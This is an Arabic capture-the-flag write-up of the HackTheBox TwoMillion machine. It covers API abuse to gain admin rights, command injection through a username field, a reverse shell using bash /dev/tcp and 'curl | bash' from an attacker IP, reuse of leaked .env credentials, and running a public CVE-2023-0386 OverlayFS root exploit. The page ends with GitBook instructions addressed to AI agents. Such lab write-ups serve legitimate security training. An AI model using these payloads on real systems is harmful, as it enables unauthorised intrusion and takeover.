> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-easy/twomillion-hackthebox-writeup.md).

# شرح TwoMillion HackTheBox

{% embed url="<https://app.hackthebox.com/machines/TwoMillion>" %}

{% hint style="warning" %}
**المهارات:**

* استغلال واجهة API لتوليد رمز دعوة صالح
* استغلال واجهة API لترقية صلاحياتنا إلى مدير
* حقن أوامر عبر وظيفة API سيئة التصميم
* تسرب المعلومات
* تصعيد الصلاحيات عبر استغلال النواة (CVE-2023-0386) - ثغرة OverlayFS
  {% endhint %}

**إعداد مساحة العمل:**

قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

<figure><img src="/files/5bdf5548463f1ad3a52fdb2dddb20109acf92e13" alt="" width="563"><figcaption></figcaption></figure>

**فحص اتصال VPN**

تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.

<figure><img src="/files/665b48def550973e1971878135832fa7eda5c830" alt="" width="563"><figcaption></figcaption></figure>

**اكتشاف المنافذ المفتوحة باستخدام Nmap:**

قم بحصر المنافذ المفتوحة وتصدير النتائج إلى الملف "allPorts" في دليل Nmap:

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 10.10.11.221 -oG allPorts
```

<figure><img src="/files/dbac760b61aff84eda6f0d17584d9b25e7a271c3" alt=""><figcaption></figcaption></figure>

**فحص إصدارات المنافذ باستخدام Nmap:**

استخدم Nmap لفحص إصدارات الخدمات وحفظ الناتج في الملف "targeted":

```bash
nmap -sCV -p22,80 2million.htb-oN targeted
```

<figure><img src="/files/38d731b7819445f4ded38ceee2d384a27694d55f" alt=""><figcaption></figcaption></figure>

## المنفذ 80 - HTTP

<figure><img src="/files/d111cab437cbf4126bb9d41df10adc5cb3553c92" alt=""><figcaption></figcaption></figure>

#### اكتشاف الموارد باستخدام Gobuster

```bash
gobuster dir -u http://2million.htb/ /
-w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt /
-t 100 -r --exclude-length 1674
```

<figure><img src="/files/165f1cc80dbe82d3e7356d4ba6f48d82674e218d" alt=""><figcaption></figcaption></figure>

#### اكتشاف `inviteapi.min.js` الملف

يتم تعتيم ملف JavaScript هذا بشكل كبير باستخدام التقنية الكلاسيكية `eval(function(p,a,c,k,e,d){...})` . وبعد إزالة التعتيم، تظهر وظيفتان مهمتان:

* `verifyInviteCode(code)`‎: يرسل رمز دعوة إلى `/api/v1/invite/verify`
* `makeInviteCode()`‎: يرسل طلبًا إلى `/api/v1/invite/how/to/generate`

<figure><img src="/files/62f1d4b0ae2e33404d1aa6b03705c869d921af50" alt=""><figcaption></figcaption></figure>

## استغلال API – توليد رمز دعوة

#### الاستدعاء الأول :

```bash
curl -X POST /
     -H "Content-Type: application/json" /
     http://2million.htb/api/v1/invite/how/to/generate
```

الإجابة

> {"0":200,"success":1,"data":{"data":"Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr","enctype":"ROT13"},"hint":"البيانات مشفّرة ... ينبغي علينا على الأرجح التحقق من نوع التشفير من أجل فكها..."}#

#### فك ترميز ROT13 → رابط جديد:

{% embed url="<https://rot13.com/>" %}

<figure><img src="/files/318498532f81dac483c0f522240dc71266966da1" alt=""><figcaption></figcaption></figure>

من أجل توليد رمز الدعوة، أرسل طلب POST إلى /api/v1/invite/generate

#### الطلب:

```bash
curl -X POST /
     -H "Content-Type: application/json" /
     http://amillion.htb/api/v1/invite/generate
```

<figure><img src="/files/1f2cf23a9b9b4a3e8f9f4331d4b5a70a01221551" alt=""><figcaption></figcaption></figure>

الاستجابة (base64):

* V1VPSUYtTEs2OFgtSFVHVFctRE9YMVM=

فك الترميز:

```bash
echo "V1VPSUYtTEs2OFgtSFVHVFctRE9YMVM=" | base64 -d; echo
```

WUOIF-LK68X-HUGTW-DOX1S

نستخدم هذا الرمز لإنشاء حساب على الموقع.

<figure><img src="/files/1a9929b8b1376b385f63e1922e4348802ef9fb2e" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/a93c14adbefa28adf788b6ef51a104e2f75c078b" alt="" width="389"><figcaption></figcaption></figure>

## استغلال API في HackTheBox

<figure><img src="/files/5a80cde9cdd587d96f254c510f3fce7e3a2b8bfb" alt=""><figcaption></figcaption></figure>

#### ملاحظة API

من خلال زيارة `/api`، يمكننا ملاحظة المسارات المتاحة.

<figure><img src="/files/1e8dff96ea3be5eee001bfc801155972ef63e0a3" alt=""><figcaption></figcaption></figure>

#### محاولة توليد إعدادات VPN (فشل أولي)

```bash
curl -v -X POST /
     -H "Content-Type: application/json" /
     --cookie "session=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/vpn/generate
```

الإجابة: غير مسموح.

<figure><img src="/files/e85e272602e2eba4f71e91dff19116dcb2ed56f8" alt=""><figcaption></figcaption></figure>

#### تعديل دورنا عبر الـ API

<figure><img src="/files/e099b680118a96defb1b2c96788d8d1ce6648c6d" alt=""><figcaption></figcaption></figure>

نختبر تغيير إعدادات المستخدم باستخدام المسار:

```bash
curl -X PUT /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/settings/update
```

> {"status":"danger","message":"المعامل مفقود: email"}

```bash
curl -X PUT /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/settings/update -d '{"email": "jordan@jordan.com"}'
```

> {"status":"danger","message":"المعامل مفقود: is/\_admin"}

```bash
curl -X PUT /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/settings/update -d '{"email": "jordan@jordan.com", "is_admin": 1}'
```

> الإجابة:
>
> {"id":15,"username":"Jordan","is/\_admin":1}

<figure><img src="/files/e727f46d137fe91ee31f90809017cecf69783be8" alt=""><figcaption></figcaption></figure>

#### التحقق من حالة المدير لدينا

```bash
curl -s -X GET /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/auth | jq
{
  "message": true
}
```

<figure><img src="/files/92dabe9c977c7b3674345344c7e1f8888ed73424" alt="" width="563"><figcaption></figcaption></figure>

### تنفيذ أوامر عن بُعد عبر حقن الأوامر

```bash
curl -s -X POST /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan@jordan.com"}'
```

<figure><img src="/files/b19cf86717b0f1a6fbf844ca50f6631a89812264" alt=""><figcaption></figcaption></figure>

محاولة حقن أمر في الحقل `اسم المستخدم`:

```bash
curl -s -X POST /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan;id #"}'
```

<figure><img src="/files/b5007a54a831d2605775e118c4320706fd4860aa" alt=""><figcaption></figcaption></figure>

#### شل عكسي

1. **خادم الملفات**

```bash
echo 'bash -i >& /dev/tcp/10.10.14.88/443 0>&1' > index.html
python3 -m http.server 80
```

2. **الاستماع عبر Netcat**

```bash
nc -nvlp 443
```

3. **إرسال الأمر**

```bash
curl -s -X POST /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan;curl http://10.10.14.88 | bash"}'    
```

نحصل على shell عكسي

<figure><img src="/files/bbcdd3a3cf7778f4b65e58293ca8d4dc068edf72" alt=""><figcaption></figcaption></figure>

## تصعيد الامتيازات

#### اكتشاف الملفات الحساسة

من خلال البحث في الملفات التي يمكن الوصول إليها من shell الخاص بنا، نكتشف ملفًا مخفيًا `.env` يحتوي على بيانات اعتماد لقاعدة البيانات:

```bash
DATABASE=htb_prod
USERNAME=admin
PASSWORD=SuperDuperPass123
```

<figure><img src="/files/4790b37f9906cf2de6b0ba6f0949b94d8bc15a18" alt=""><figcaption></figcaption></figure>

نلاحظ أيضًا وجود مستخدم ثانٍ باسم `admin`.

<figure><img src="/files/dc08ea2f9da41e798257d024b4e315bb25e4df01" alt=""><figcaption></figcaption></figure>

#### إعادة استخدام كلمة المرور

من خلال اختبار بيانات الاعتماد المكتشفة، نرى أن مستخدم النظام `admin` يستخدم **نفس كلمة المرور** مثل كلمة مرور قاعدة البيانات.

### الراية user.txt :)

<figure><img src="/files/4c0ea259de6f1aba2b89a49f69dcaaefeaaf37e0" alt=""><figcaption></figcaption></figure>

هذه الممارسة السيئة تتيح لنا الحصول على **اتصال SSH**:

#### بريد النظام الإلكتروني

<figure><img src="/files/94940f7ba841a0d4feb3e34bdc1549dab48e910a" alt=""><figcaption></figcaption></figure>

عند الاتصال، تخبرنا رسالة بوجود **بريد إلكتروني جديد**. وبعد قراءته، نحصل على معلومات حاسمة:

> مرحبًا أيها المدير،
>
> أنا أعلم أنك تعمل بأقصى سرعة ممكنة لإتمام ترحيل قاعدة البيانات. وبينما نحن متوقفون جزئيًا، هل يمكنك أيضًا ترقية نظام التشغيل على خادم الويب لدينا؟ لقد ظهرت هذا العام بالفعل عدة ثغرات خطيرة في نواة لينكس. تلك الموجودة في OverlayFS / FUSE تبدو خطيرة. لا يمكننا أن نتعرض للاختراق بسببها.

<figure><img src="/files/14bac9022b04a37ae0df9770f5f79e12a6fff939" alt=""><figcaption></figcaption></figure>

هذه الرسالة تقودنا إلى **ثغرة معروفة في OverlayFS**:/ **CVE-2023-0386** – ثغرة محلية لتصعيد الصلاحيات في نواة لينكس.

## استغلال CVE-2023-0386 - تصعيد صلاحيات OverlayFS

> تتيح لك OverlayFS تراكب أنظمة الملفات. في بعض إصدارات نواة لينكس، يسمح سوء إدارة السعة لمستخدم غير مميز بتنفيذ تعليمات برمجية بصلاحيات **root**.

{% embed url="<https://github.com/puckiestyle/CVE-2023-0386>" %}

**خطوات التشغيل**

1. **استنساخ الاستغلال** من جهازنا المحلي:

```bash
git clone https://github.com/puckiestyle/CVE-2023-0386
cd CVE-2023-0386
make all
```

2. **نقل الملفات المترجمة** إلى الجهاز الهدف (`scp`, `python -m http.server`، إلخ).

<figure><img src="/files/da172a5ed5e98c4840efa6a38e4281a0c2def3ba" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/4a904732076db9934b7c6f8cd4e87a11bfeea974" alt=""><figcaption></figcaption></figure>

2. **على الجهاز الهدف**، شغّل في **طرفين**:

* الطرف A :

```bash
./fuse ./ovlcap/lower ./gc
```

* الطرف B :

```bash
./exp
```

إذا سارت الأمور على ما يرام، نحصل على **root** الصدفة

<figure><img src="/files/54a06b89825208cc74f6fc1564694f2decfd0e2b" alt=""><figcaption></figcaption></figure>

### العلم root.txt :)

<figure><img src="/files/db9be4d46b9d54762e2ebbb4b1c9e3db0c5372ca" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/9376d64d588b50dde6b7eb29e1412fbd5e162031" alt="" width="409"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-easy/twomillion-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
